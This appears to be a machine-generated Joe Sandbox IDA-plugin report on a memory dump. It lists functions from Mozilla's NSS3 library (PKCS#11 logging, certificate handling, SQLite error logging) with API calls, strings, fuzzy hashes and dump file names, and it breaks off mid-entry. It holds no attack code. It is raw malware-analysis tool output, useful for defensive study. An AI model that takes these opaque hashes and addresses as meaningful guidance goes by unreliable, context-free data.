Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 4c4c65a12a014b0ee354923983b23d46c4bc6f4cfcde25ad69dae1db1eca1482
Instruction ID: 51350dacd2271357fa5deb661e0f4462f43acd3052176adaa4bd8fa00e4adba7
Opcode Fuzzy Hash: 4c4c65a12a014b0ee354923983b23d46c4bc6f4cfcde25ad69dae1db1eca1482
Instruction Fuzzy Hash: 8F21A1B5A056018FCB10EF39C68565AB7F0FF59318F15897ADA88CBB01D730E841CBA1

Function 6C7AACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C7AACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7AAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AAD23

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7AAD39

Strings

hSession = 0x%x, xrefs: 6C7AACFE, 6C7AAD0E
C_MessageDecryptFinal, xrefs: 6C7AACE1
(CK_INVALID_HANDLE), xrefs: 6C7AAD1C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: a4d325ad8044793334164e9ee2fe2b33f22a3c4fd2fc4a8b9b603e1ff0567fab
Instruction ID: f3cc91426caa97d8c8f9b51e64ff0b730f02f9ae6590a7cb2cf7df0bc7125c20
Opcode Fuzzy Hash: a4d325ad8044793334164e9ee2fe2b33f22a3c4fd2fc4a8b9b603e1ff0567fab
Instruction Fuzzy Hash: 9A210D71601154AFDB309B98DF8DB6A7375AB4232DF044539E80A97B12DB34BC0ACBD2

Function 6C7AA550 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptFinal), ref: 6C7AA576
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7AA5A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AA5B3

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7AA5C9

Strings

C_MessageEncryptFinal, xrefs: 6C7AA571
hSession = 0x%x, xrefs: 6C7AA58E, 6C7AA59E
(CK_INVALID_HANDLE), xrefs: 6C7AA5AC

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptFinal
API String ID: 332880674-1768899908
Opcode ID: 849973923c487621b3e18ec5d6f0baec2dd3ab9ea9b0cb29d93bce6d8ce8a04b
Instruction ID: 0f057dedbd53b4c776171e06a561134ccf4ef6de980487bba9aeb14234ca9ad7
Opcode Fuzzy Hash: 849973923c487621b3e18ec5d6f0baec2dd3ab9ea9b0cb29d93bce6d8ce8a04b
Instruction Fuzzy Hash: B021D871602114AFDB209B989F8CB6A3375AB4632CF044535E80997B11DB34BD4ACFD2

Function 6C880ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C880EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C880EFA

Part of subcall function 6C76AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C76AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F2B

Strings

Aborting, xrefs: 6C880EB3
Assertion failure: %s, at %s:%d, xrefs: 6C880ED9, 6C880EE5, 6C880F06, 6C880F0B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 3b5efcb8b58fd8cb847df5acbc3905236a6dec5fa1f809cdbd1bf790cf498bcc
Instruction ID: d404a3d5549d2bd11ac4f9b64d8def5ad8c1973ce66d26a33ae11939493f2463
Opcode Fuzzy Hash: 3b5efcb8b58fd8cb847df5acbc3905236a6dec5fa1f809cdbd1bf790cf498bcc
Instruction Fuzzy Hash: FF01ADB6901114ABDF21AF68DD898AB3B3CEF46368B004464FD0997B02D731EA50C6E2

Function 6C8807B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C761FA7,WinDebug,00000000,00000001,?,6C761FA7,00000000), ref: 6C8807BE
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(6C761FA7,6C8A843A,6C761FA7,00000000), ref: 6C8807E0
setvbuf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000004,00000000), ref: 6C8807F6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,6C761FA7,00000000), ref: 6C880812
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C880827
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C88083F

Strings

WinDebug, xrefs: 6C8807B8

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$fclosefopensetvbufstrcmp
String ID: WinDebug
API String ID: 1416283249-2102910228
Opcode ID: d2d3b4c1fc44db98afb6a28c423cbabd3852c66985dcde1aaaed8b2d3a36a2f2
Instruction ID: c71f83e33c522b9c3077ceca1ab43b6688001e6163524cec6be48e8d03209941
Opcode Fuzzy Hash: d2d3b4c1fc44db98afb6a28c423cbabd3852c66985dcde1aaaed8b2d3a36a2f2
Instruction Fuzzy Hash: 22112C71743460ABEF3017689D0566E3668DF4336EF580934F915CAA81EB20ED51C3E2

Function 6C844D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C844DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C844DE0

Strings

misuse, xrefs: 6C844DD5
invalid, xrefs: 6C844DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C844DCB
%s at line %d of [%.10s], xrefs: 6C844DDA
API call with %s database connection pointer, xrefs: 6C844DBD

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 366405c5880a391cc33e40904c9a9557b963a0141f5a2221561ec41da87228f6
Instruction ID: 2e5a1d0092559a4bf904b79fbdfe59b4ab1521becc6544a37f294a1f322c7ec1
Opcode Fuzzy Hash: 366405c5880a391cc33e40904c9a9557b963a0141f5a2221561ec41da87228f6
Instruction Fuzzy Hash: 35F02421A04A6C6FD7204455CF15F8633554F8131AF0A4DA0ED047BF52D249A8508380

Function 6C844DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C844E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C844E4D

Strings

misuse, xrefs: 6C844E42
invalid, xrefs: 6C844E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C844E38
%s at line %d of [%.10s], xrefs: 6C844E47
API call with %s database connection pointer, xrefs: 6C844E2A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: a99b87d89cbc6eef1fe8363a93a5baaf5fc0972c4014f5d0676a6f08e9141de9
Instruction ID: 0d75233fde62582df5dbfbd5692f08ed4bcf8fe69e4d45ac5e392dd7755f49f0
Opcode Fuzzy Hash: a99b87d89cbc6eef1fe8363a93a5baaf5fc0972c4014f5d0676a6f08e9141de9
Instruction Fuzzy Hash: A1F02711E4492C6BE73004659F18FC737864B91339F0DCCA1EE0A77F93D209987152D1

Function 6C7B0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C7B1444,?,00000001,?,00000000,00000000,?,?,6C7B1444,?,?,00000000,?,?), ref: 6C7B0CB3

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7B1444,?,00000001,?,00000000,00000000,?,?,6C7B1444,?), ref: 6C7B0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C7B1444,?,00000001,?,00000000,00000000,?,?,6C7B1444,?), ref: 6C7B0DEC

Part of subcall function 6C7D0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C772AF5,?,?,?,?,?,6C770A1B,00000000), ref: 6C7D0F1A
Part of subcall function 6C7D0F10: malloc.MOZGLUE(00000001), ref: 6C7D0F30
Part of subcall function 6C7D0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7D0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C7B1444,?,00000001,?,00000000,00000000,?), ref: 6C7B0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C7B1444,?,00000001,?,00000000), ref: 6C7B0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7B1444,?,00000001,?,00000000,00000000,?), ref: 6C7B0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C7B1444,?,00000001,?,00000000,00000000,?,?,6C7B1444,?,?,00000000), ref: 6C7B0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7B1444,?,00000001,?,00000000,00000000,?), ref: 6C7B0E79

Part of subcall function 6C7C1560: TlsGetValue.KERNEL32(00000000,?,6C790844,?), ref: 6C7C157A
Part of subcall function 6C7C1560: EnterCriticalSection.KERNEL32(?,?,?,6C790844,?), ref: 6C7C158F
Part of subcall function 6C7C1560: PR_Unlock.NSS3(?,?,?,?,6C790844,?), ref: 6C7C15B2

Part of subcall function 6C78B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C791397,00000000,?,6C78CF93,5B5F5EC0,00000000,?,6C791397,?), ref: 6C78B1CB
Part of subcall function 6C78B1A0: free.MOZGLUE(5B5F5EC0,?,6C78CF93,5B5F5EC0,00000000,?,6C791397,?), ref: 6C78B1D2

Part of subcall function 6C7889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7888AE,-00000008), ref: 6C788A04
Part of subcall function 6C7889E0: EnterCriticalSection.KERNEL32(?), ref: 6C788A15
Part of subcall function 6C7889E0: memset.VCRUNTIME140(6C7888AE,00000000,00000132), ref: 6C788A27
Part of subcall function 6C7889E0: PR_Unlock.NSS3(?), ref: 6C788A35

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: f2932aa7cf7e01775f259f4e6fca77d8c7c333ac009c5b749a6762f93fd12958
Instruction ID: f5e38a888ec62fabadb548e156a54d515ec67db1fa1c781819866a716f790658
Opcode Fuzzy Hash: f2932aa7cf7e01775f259f4e6fca77d8c7c333ac009c5b749a6762f93fd12958
Instruction Fuzzy Hash: 1251A7F5D012015FEB10AF64EF89AAB37A8AF05258F150474ED09A7B52F731ED1487A2

Function 6C77E6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C7804DC,?,?), ref: 6C77E6C9

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C7804DC,?,?), ref: 6C77E6D9

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C7804DC,?,?), ref: 6C77E6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7804DC,?), ref: 6C77E703

Part of subcall function 6C7CBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C77E708,00000000,00000000,00000004,00000000), ref: 6C7CBE6A
Part of subcall function 6C7CBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7804DC,?), ref: 6C7CBE7E
Part of subcall function 6C7CBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C7CBEC2

CERT_FindCertIssuer.NSS3(?,?,6C7804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C77E71E

Part of subcall function 6C77C870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C772D1A), ref: 6C77C919

Part of subcall function 6C77E5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C77E755,00000000,00000004,?,?), ref: 6C77E5F5
Part of subcall function 6C77E5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C77E62C

CERT_DestroyCertificate.NSS3(?), ref: 6C77E8AF

Part of subcall function 6C77E5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C77E63E
Part of subcall function 6C77E5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C77E65C
Part of subcall function 6C77E5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C77E68E

SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6C77E89E

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

CERT_DestroyCertificate.NSS3(?), ref: 6C77E885

Part of subcall function 6C7795B0: TlsGetValue.KERNEL32(00000000,?,6C7900D2,00000000), ref: 6C7795D2
Part of subcall function 6C7795B0: EnterCriticalSection.KERNEL32(?,?,?,6C7900D2,00000000), ref: 6C7795E7
Part of subcall function 6C7795B0: PR_Unlock.NSS3(?,?,?,?,6C7900D2,00000000), ref: 6C779605

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: 7e34347ebc6ca3fd6558790341aa80297c3df0e4ca801399c9d530f55bb7a210
Instruction ID: fa6719b8936a752a3d880c72ce9640a734bd581c45d7407407f5daaf33c50b29
Opcode Fuzzy Hash: 7e34347ebc6ca3fd6558790341aa80297c3df0e4ca801399c9d530f55bb7a210
Instruction Fuzzy Hash: C16188B5D0060D9FEF18CF64CD40AFAB7B8EF09308F004269E915AA741FB359A45CBA0

Function 6C766E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C766ED8
sqlite3_value_text.NSS3(?,?), ref: 6C766EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C766FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C766FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C766FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C767010
sqlite3_value_blob.NSS3(?,?), ref: 6C76701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C767052

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 423342cbba2911d45c5efebab447c7a6c0fa1cd7ebc8fdb4ca6cbca3c5d766bd
Instruction ID: 5f926acc5c0e6bd3f93e9766d2e95eb6a8579d3a5a14180be9fd3aba554bf6bc
Opcode Fuzzy Hash: 423342cbba2911d45c5efebab447c7a6c0fa1cd7ebc8fdb4ca6cbca3c5d766bd
Instruction Fuzzy Hash: AD61E4B1E142058BDB00CFAACA047EEB7B2AF85308F684175DC54ABF51E7319D05CBA0

Function 6C7DC6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6C7D71CF,?), ref: 6C7DC70F

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7D71CF,?), ref: 6C7DC7B1

Part of subcall function 6C7795B0: TlsGetValue.KERNEL32(00000000,?,6C7900D2,00000000), ref: 6C7795D2
Part of subcall function 6C7795B0: EnterCriticalSection.KERNEL32(?,?,?,6C7900D2,00000000), ref: 6C7795E7
Part of subcall function 6C7795B0: PR_Unlock.NSS3(?,?,?,?,6C7900D2,00000000), ref: 6C779605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C7D71CF,?), ref: 6C7DC7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7D71CF,?), ref: 6C7DC811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7D71CF,?), ref: 6C7DC841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7DC855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C7D71CF,?), ref: 6C7DC868

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction ID: 1c177ea6acdfa320cba86e857bf3074f5fbf09856e6f62c2832a1e55c09a0369
Opcode Fuzzy Hash: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction Fuzzy Hash: 5A418E71B012018BEB10AE66DA84F5677E9AF05769F2B0174ED28DBB51E770F880C790

Function 6C7C2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

